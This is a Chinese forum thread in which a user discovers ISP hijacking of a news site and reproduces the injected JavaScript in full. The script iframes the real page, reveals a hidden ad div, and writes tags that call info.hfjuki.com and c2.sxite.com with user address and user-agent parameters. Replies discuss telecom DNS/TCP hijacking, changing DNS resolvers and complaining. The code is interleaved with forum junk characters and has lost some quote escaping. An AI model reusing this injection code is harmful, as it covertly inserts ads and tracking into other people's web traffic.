上网奇遇记

hudba

3 R* Z) B% }3 a: Y3 S" H上网易看新闻半天打不开，发现状态栏在现实访问一个奇怪的域名。心里一惊，难道电脑中毒了？赶紧查看源代码，发现后面加了一段js，真正的新闻内容给iframe了

8 T: j' ], V. G5 {7 Y, K" v接下来就是去搜索这个域名，得到v2ex里面也有人遇到这个问题，原来是运营商搞的鬼{:soso_e131:}

https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8

http://www.v2ex.com/t/142197

8 X$ `% }8 g( L: o5 z% g
顺便查下ip138：
3 N: X3 B) Q* Z: y) [8 o( J
这是那段js里面的代码，好象是个半成品还没写入广告数据：

1. function locationSearch() {
   
2.         var s = getMainJs();
   , I* p0 b4 ]0 m" _
3.         if (s == null) {
   * i5 j9 X& Q6 B1 g
4.                 location.reload();
   
5.         }
   
6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
   
7. }
   
8. 
   - g3 r$ q6 Y+ r  [0 {- a; A
9. function getParameter(name, paraStr) {
   
10.         var result = "";
    
11.         var str = "&" + paraStr.split("?")[1];
    2 U  o! i8 D( {( G# \7 m/ a( [
12.         var paraName = "&" + name + "=";
    / v, G$ V  q3 H1 D" |
13.         if (str.indexOf(paraName) != -1) {
    9 v: L0 B* q! m9 \0 }
14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    
15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    1 T2 {4 K1 |" z* P
16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    
17.                                         1, TmpStr.length).indexOf("&")
    ! Q9 V% g/ ?+ t, A; O
18.                                         - TmpStr.indexOf(paraName) + 1);
    
19.                 } else {
    1 e* s$ x7 j9 A; @, k' H" @5 @
20.                         result = str.substring(str.indexOf(paraName), str.length);
    / {- u; c( X  T+ `* z
21.                 }
    
22. 
    
23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    7 r6 ?6 z7 O& I( i3 _% ^
24.         } else {
    9 A. e5 n! {+ q% K! s
25.                 result = "No such parameter";
    - `$ S# T+ \2 i( F9 L
26.         }
    
27.         return (result.replace("&", ""));
    % ]3 h8 B8 y# b( z) ~
28. }
    * b  y! `7 q8 ^5 r9 a1 m
29. 
    
30. function getMainJs() {
    / T% p" A" t( |, O
31.         var scripts = document.getElementsByTagName("script");
    1 W1 e" [+ Z) I, m. a
32.         var s = null;
    8 i& h2 _/ ?$ ?% W4 O- }" @# D
33.         for (var i = 0; i < scripts.length; i++) {
    
34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    
35.                         s = scripts[i];
    1 U6 K, k& P% ?
36.                         break;
    
37.                 }
    
38.         }
    
39.         return s;
    + N) S( ^9 _6 L8 v% x9 O! p
40. }
    * k# l7 G; O  f3 R6 v# {, ~: f
41. 
    + x; @' G3 Y# B& x
42. function appendParam(oStr, aStr) {
    ( S5 b5 ]4 k( V' U% X
43.         if (oStr.indexOf('?') > 0) {
    % K) C6 X! U- H$ L( X
44.                 oStr = oStr + "&" + aStr;
    3 d' F. b0 c6 a7 k+ `
45.         } else {
    
46.                 oStr = oStr + "?" + aStr;
    % s9 g7 |! r( v
47.         }
    " p) Y$ S! B+ M/ x8 J. @( O
48.         return oStr;
    & F3 t9 N# M: m; w. P( I
49. }
    
50. 
    
51. window.onerror = function() {
    
52. };
    
53. 
    , K1 I  ?5 I1 ~- f. q' `
54. var g_titleTime = 0;
    
55. function setTcTitle() {
    
56.         if (undefined == document) {
    2 b! p0 a  a- o/ {
57.                 g_titleTime++;
      ?' C3 q% b8 [% ?  v' \, \" [
58.                 setTimeout("setTcTitle();", 1000);
    
59.                 return;
    # x9 z5 L% h  w: p: Z9 q
60.         }
    
61. 
    $ p& i8 n* Z; O& F) n, `# c
62.         var doc;
    
63.         try {
    ' o0 L0 \6 P6 U
64.                 if (document.all) {
    3 G, v( a1 U3 p; t  f
65.                         doc = document.frames["cn"].document;
    ' E# q3 ?/ s* o! S. S, q( C# e( O, Y1 g1 ~
66.                 } else {
    
67.                         doc = document.getElementById("cn").contentDocument;
    
68.                 }
    
69.         } catch (ex) {
    
70.         }
    & S' X9 Y6 f3 i  k, Z+ @
71. 
    
72.         if (g_titleTime < 5
    - ~( I) W: }7 C2 X7 |
73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    
74.                 g_titleTime++;
    
75.                 setTimeout("setTcTitle();", 1000);
    & _6 R7 n% k& @$ N# A  G
76.                 return;
    8 N. z5 |' M$ C! G6 s  w+ j# Z0 q
77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    5 F6 K4 p( ?2 c; L0 j
78.                 document.title = doc.title;
    $ q9 W  g. Y7 b: ]$ g4 X
79.                 setTcAdvVisible();
    ' D( Y! ^% L% n8 f; |" T) e: E0 ]
80.         }
    
81. }
    6 e' T# K9 r. Q% j+ x, L! r
82. 
    
83. setTimeout("setTcTitle();", 1000);
    
84. 
    - |( x9 _- `/ @* c/ m' m5 j
85. var g_isHaveVisible = false;
    ; |4 n$ `- @! }; |* Q3 K
86. function setTcAdvVisible() {
    
87.         if (undefined != document && undefined != document.getElementById("addiv")
    
88.                         && !g_isHaveVisible) {
    
89.                 document.getElementById("addiv").style.visibility = 'visible';
    
90.                 document.getElementById("addiv").style.display = 'block';
    
91.                 g_isHaveVisible = true;
    
92.         }
    9 \+ B7 q' `& X  q" {8 F/ }
93. }
    ' x' I  B4 ]. C' Z+ Y7 ]& \
94. 
    
95. function UrlAnalyzer() {
    
96.         this.divda = "";
    ( d5 X: K' B7 I) _+ t
97.         this.tctype = "";
    # s/ Q% [) ]( k* X
98.         this.radius = "";
    
99.         this.rlu = "";
    
100. }
     
101. 
     3 G9 k9 H& Y* ^; q' C$ j- @- r
102. UrlAnalyzer.prototype.initParameters = function() {
     3 T" Z1 ~  x  m( E' P8 c
103.         var paraStr = locationSearch();
     
104.         this.rlu = getParameter("lruedct", paraStr);
       C. y- J" s% M) ]
105.         this.divda = getParameter("divda", paraStr);
       E, U. C: i) z$ [
106.         this.radius = getParameter("radius", paraStr);
     
107.         this.tctype = getParameter("tctype", paraStr);
     8 @# ^) @2 ?' ^( h
108.         this.address = getParameter("address", paraStr);
     
109.         this.usagent = getParameter("usagent", paraStr);
     
110. }
     
111. 
     
112. UrlAnalyzer.prototype.getHtmlDoc = function() {
     1 c7 D) {$ M6 Y8 z2 B( S: b
113.         var doc;
     
114.         try {
     
115.                 if (document.all) {
     
116.                         doc = document.frames["cn"].document;
     
117. 
     
118.                 } else {
     & {1 O* K) [# L
119.                         doc = document.getElementById("cn").contentDocument;
     
120.                         // doc = document.getElementById("cn").contentWindow.document;
     
121.                 }
     
122.         } catch (ex) {
     
123.         }
     
124.         return doc;
     
125. }
     3 F: d4 ]3 t3 [. M
126. 
     9 n' b. v% r* D
127. UrlAnalyzer.prototype.setDomain = function() {
     4 v0 Y* o8 d5 @+ k) g6 P3 N
128.         if (undefined != document.title && "" == document.title)
     & }, p# h" m. s, t5 R
129.         {
     
130.                 var index = document.domain.indexOf(".");
     
131.                 if (undefined != index && -1 != index) {
     
132.                         document.domain = document.domain.substring(index + 1,
     
133.                                         document.domain.length);
     
134.                 }
     
135.                
     2 k; |9 Y( }% Q' C& y
136.                 var doc = this.getHtmlDoc();
     ; U" k2 v. V) w. N' G6 D' |
137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
     
138.                         document.title = doc.title;
     
139.                         setTcAdvVisible();
     . C$ e3 ]* E" d! }9 L$ H
140.                 }
     ; G0 Q2 l) e* l
141.         }
     + k1 ?, x3 H# h% ]# H. E/ c7 @
142. }
     + }0 `, `+ H0 H1 b( [: c
143. 
     
144. UrlAnalyzer.prototype.iframeCallback = function() {
     
145.         var doc = this.getHtmlDoc();
     2 l0 S& L+ x) |- J% d9 n8 x" p: u
146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
     9 \. d+ A9 m" N+ T* H
147.                 if (undefined != document.domain) {
     : E$ P) S9 M" t8 @
148. 
     $ G  P3 i! A% {/ V4 O! `6 _
149.                         var self = this;
     2 \8 Q- e; F) p( Z* n) c6 Q
150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
     1 v" N- v+ G4 W6 {) D
151.                         // var index = document.domain.indexOf(".");
       x; o! x9 Q9 X8 B9 W& [4 C' a
152.                         // if (undefined != index && -1 != index) {
     , V. v9 b* ]" U% W  S9 B- |8 P
153.                         // document.domain = document.domain.substring(index + 1,
     . k7 g9 a3 p; b7 ^) j
154.                         // document.domain.length);
     
155.                         // }
     # K. Y% r* X: L: F9 Y( a
156.                         //
     
157.                         // var doc = this.getHtmlDoc();
     
158.                         // if (undefined != doc && undefined != doc.title && "" !=
     / e3 T( j* s5 S9 x: J( @: \; i
159.                         // doc.title) {
     6 D* V1 ^  ~6 v& L  }
160.                         // document.title = doc.title;
     " B& Z% j: O' L5 l( O! o
161.                         // setTcAdvVisible();
     
162.                         // }
     
163.                 }
     / F- d5 z3 P2 R7 a# e5 }
164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
     ( \$ X, k& U- p$ j
165.                 document.title = doc.title;
     & ]; t0 P4 g  B9 m6 X; v
166.                 setTcAdvVisible();
     1 K0 \# |( z4 k4 T- v
167.         }
     
168. }
     / f, K: f7 m  a& g; R0 D" w
169. 
     4 p& u8 w$ N4 f8 l  t  k1 B
170. UrlAnalyzer.prototype.executeHtmlContext = function() {
     
171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
     
172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
     ( y* y0 }* L0 J+ ?
173. 
     
174.         var htmlStr = "<iframe src="" + staUrl
     & L3 b# b: K/ L& ]
175.                         + "" style="display:none"></iframe>";
     : x! X$ T: x" `$ x" G9 M9 B0 O
176. 
     
177.         var advUrl = htmlStr
     
178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
     
179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
     
180.         document.write(advUrl);
     
181. 
     
182.         var self = this;
     
183.         var iframe = document.getElementById("cn");
     
184.         if (iframe.attachEvent) {
     5 C* G, ^' \9 j$ e9 a
185.                 iframe.attachEvent("onload", function() {
     ! B8 m8 M& v( l
186.                         self.iframeCallback.call(self, null);
     : g6 j1 X! D" b. \# L3 g
187.                 });
     
188.         } else {
     . [; K! d' x0 h4 s
189.                 iframe.onload = function() {
     $ p$ W, ?# q' O4 R# [: v
190.                         self.iframeCallback.call(self, null);
     ! f! `0 W. {' V
191.                 }
     . f/ H2 D: S( h0 f1 `: `: e# N
192.         }
     
193. }
     4 n; j" _6 ]+ ?6 C9 Z  f& _
194. 
     
195. UrlAnalyzer.prototype.executeMain = function() {
     . L0 q, \$ h, m1 C2 s
196.         var mainFrame = document.getElementById("cn");
     
197.         mainFrame.contentWindow.location.href = mainFrame.src;
     1 J/ u4 y) I. w7 `' ]
198.         this.initParameters();
     # ^% F- S. h' y% V7 Z/ A0 C
199.         this.executeHtmlContext();
     
200. }
     
201. 
     , V( M! w! U; n
202. var g_analyzer = new UrlAnalyzer();
     7 E! _1 I1 f, e8 @6 t% v
203. g_analyzer.executeMain();
     - a- Z: L! H$ x3 G8 Q! v

复制代码

ads419

Welcome to China      

cissss

我在想有没有大牛会去干电信那个网页，那就发啦。哈哈

阿百川

所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

firearmer

法制不健全，没法。我这里也有电信绑架的问题，但你没辙，要国外，早赔的只剩内裤了。

老刘

电信DNS劫持不是一天两天了。国家垄断企业，没人能管”。。。

giveatry

我这段时间也遇到了，投诉了两次，这几天没出现了，再出现继续投诉

ads419

阿百川 发表于 2015-2-3 09:49
所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

TCP劫持，换DNS也不管用的。

阿百川

ads419 发表于 2015-2-3 21:26
3 ^% F- E. z9 X& S3 aTCP劫持，换DNS也不管用的。

$ j: I( _/ H9 ^  w) w$ M* `幸好联通还木有这么强的技术

哈默

在国内，习惯就好